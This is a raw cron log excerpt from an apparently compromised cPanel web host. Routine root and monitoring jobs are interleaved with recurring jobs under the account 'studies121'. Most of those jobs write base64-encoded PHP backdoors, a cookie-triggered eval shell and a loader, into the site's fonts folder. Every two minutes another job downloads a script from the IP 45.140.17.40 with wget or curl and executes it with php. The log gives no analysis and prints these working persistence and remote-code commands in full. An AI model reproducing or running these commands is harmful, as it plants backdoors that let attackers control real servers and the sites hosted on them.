Sep  1 16:04:01 ip-184-168-122-23 CROND[18988]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 16:04:01 ip-184-168-122-23 CROND[18991]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 16:04:01 ip-184-168-122-23 CROND[18992]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 16:04:01 ip-184-168-122-23 CROND[18994]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 16:05:01 ip-184-168-122-23 CROND[19094]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 16:05:01 ip-184-168-122-23 CROND[19096]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 16:05:01 ip-184-168-122-23 CROND[19099]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 16:05:01 ip-184-168-122-23 CROND[19097]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 16:05:01 ip-184-168-122-23 CROND[19100]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 16:05:01 ip-184-168-122-23 CROND[19098]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 16:05:01 ip-184-168-122-23 CROND[19101]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 16:06:01 ip-184-168-122-23 CROND[19214]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 16:06:01 ip-184-168-122-23 CROND[19215]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 16:06:01 ip-184-168-122-23 CROND[19218]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 16:06:01 ip-184-168-122-23 CROND[19216]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 16:06:01 ip-184-168-122-23 CROND[19217]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 16:07:01 ip-184-168-122-23 CROND[19310]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 16:07:01 ip-184-168-122-23 CROND[19311]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 16:07:01 ip-184-168-122-23 CROND[19312]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 16:07:01 ip-184-168-122-23 CROND[19313]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 16:08:01 ip-184-168-122-23 CROND[19416]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 16:08:01 ip-184-168-122-23 CROND[19418]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 16:08:01 ip-184-168-122-23 CROND[19417]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 16:08:01 ip-184-168-122-23 CROND[19420]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 16:08:01 ip-184-168-122-23 CROND[19419]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 16:09:01 ip-184-168-122-23 CROND[19616]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 16:09:01 ip-184-168-122-23 CROND[19618]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 16:09:01 ip-184-168-122-23 CROND[19619]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 16:09:01 ip-184-168-122-23 CROND[19621]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  1 16:09:01 ip-184-168-122-23 CROND[19620]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 16:10:01 ip-184-168-122-23 CROND[19730]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 16:10:01 ip-184-168-122-23 CROND[19731]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 16:10:01 ip-184-168-122-23 CROND[19732]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 16:10:01 ip-184-168-122-23 CROND[19735]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 16:10:01 ip-184-168-122-23 CROND[19737]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 16:10:01 ip-184-168-122-23 CROND[19736]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 16:10:01 ip-184-168-122-23 CROND[19741]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 16:10:01 ip-184-168-122-23 CROND[19743]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 16:11:01 ip-184-168-122-23 CROND[19826]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 16:11:01 ip-184-168-122-23 CROND[19829]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 16:11:01 ip-184-168-122-23 CROND[19830]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 16:11:01 ip-184-168-122-23 CROND[19831]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 16:12:01 ip-184-168-122-23 CROND[19955]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 16:12:01 ip-184-168-122-23 CROND[19958]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 16:12:01 ip-184-168-122-23 CROND[19957]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 16:12:01 ip-184-168-122-23 CROND[19960]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 16:12:01 ip-184-168-122-23 CROND[19959]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 16:13:01 ip-184-168-122-23 CROND[20057]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 16:13:01 ip-184-168-122-23 CROND[20059]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 16:13:01 ip-184-168-122-23 CROND[20056]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 16:13:01 ip-184-168-122-23 CROND[20058]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 16:14:01 ip-184-168-122-23 CROND[20188]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 16:14:01 ip-184-168-122-23 CROND[20187]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 16:14:01 ip-184-168-122-23 CROND[20193]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 16:14:01 ip-184-168-122-23 CROND[20192]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 16:14:01 ip-184-168-122-23 CROND[20194]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 16:15:01 ip-184-168-122-23 CROND[20399]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 16:15:01 ip-184-168-122-23 CROND[20400]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 16:15:01 ip-184-168-122-23 CROND[20402]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 16:15:01 ip-184-168-122-23 CROND[20404]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 16:15:01 ip-184-168-122-23 CROND[20405]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 16:15:01 ip-184-168-122-23 CROND[20406]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 16:15:01 ip-184-168-122-23 CROND[20407]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
